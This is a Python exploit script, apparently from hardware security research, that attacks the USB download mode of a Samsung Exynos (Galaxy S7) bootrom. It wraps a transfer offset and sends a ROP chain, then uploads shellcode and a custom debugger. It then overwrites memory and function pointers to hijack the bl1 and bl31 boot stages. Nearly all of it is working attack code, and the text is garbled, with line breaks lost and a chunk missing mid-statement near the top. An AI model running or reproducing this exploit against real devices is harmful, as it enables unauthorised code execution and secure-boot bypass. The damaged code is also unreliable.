import usb.util, usb.core import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from qiling.const import QL_ARCH def p32(x): return struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300) assert res == 0, f"Error sending data {res}" assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300) assert res == 0, f"Error receiving data {res}" return buf.raw[:transferred.value] def setup_concrete_device(self, concrete_device : ConcreteDevice): #Setup architecture concrete_device.arch = QL_ARCH.ARM64 concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write #Overwrite all calls to make the concrete target function properly concrete_device.copy_functions() def setup_debugger(self): ''' Setup the debugger as a concrete device ''' self.cd = ConcreteDevice(None, False) self.cd.dev = self.setup_concrete_device(self.cd) self.cd.test_connection() def dumb_interact(self): ''' Room for playing around with the debugger ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False self.cd.arch_dbg.state.print_ctx() def relocate_debugger(): # Seems to be cleared upon cache clearing?? debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() self.cd.memwrite_region(0x020c0000, debugger_reloc) self.usb_write(b"FLSH") # Flush cache self.cd.restore_stack_and_jump(0x020c0000) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000) relocate_debugger() def memdump_imem(): dumped = b"" for block in range(0x2020000, 0x2070000, 0x200): # print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) return dumped # dump1 = memdump_imem() # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl1) # self.usb_write(b"FLSH") AUTH_BL1 = 0x00012848 def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.W0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" auth_bl1(0x020c0000) # dump2 = memdump_imem() # Works until here TODO hijack future control flow # self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790 self.cd.memwrite_region(0x02020f60, p32(0x020c0000)) BOOT_BL1 = 0x00019310 def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) jump_bl1(0x020c0000) pass # Overwrite jump back self.cd.memwrite_region(0x020200e8, p32(0x2069000)) # self.cd.restore_stack_and_jump(0x02021810) #000125b4 # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished # self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x000125b4) auth_bl1() # auth_bl1() jump_bl1() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() def jump_bl31(): self.cd.arch_dbg.state.LR = 0x2069000 self.cd.restore_stack_and_jump(0x02021810) bl31 = open("../S7/bl31.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl31) jump_bl31() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() # memdump_try() # auth_bl1() self.cd.arch_dbg.state.print_ctx() #authenticate it pass def run_boot_chain(self): stage1 = open("stage1/stage1.bin", "rb").read() self.exploit(stage1) def run_debugger(): # TODO, hardcoded path debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" run_debugger() self.setup_debugger() self.dumb_interact() def usb_debug(): ''' Function to debug USB behavior ''' shellcode = open("../dwc3_test/dwc3.bin", "rb").read() assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big" exynos = ExynosDevice() exynos.exploit(shellcode) transferred = ctypes.c_int() # Send some data count = 0 def send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, "Error sending data" def recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, "Error receiving data" hexdump(buf.raw) pass # Should have received some bytes while True: send_data() recv_data() count += 1 if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) # Debug mode args = arg.parse_args() if args.debug: usb_debug() sys.exit(0) exynos = ExynosDevice() exynos.run_boot_chain()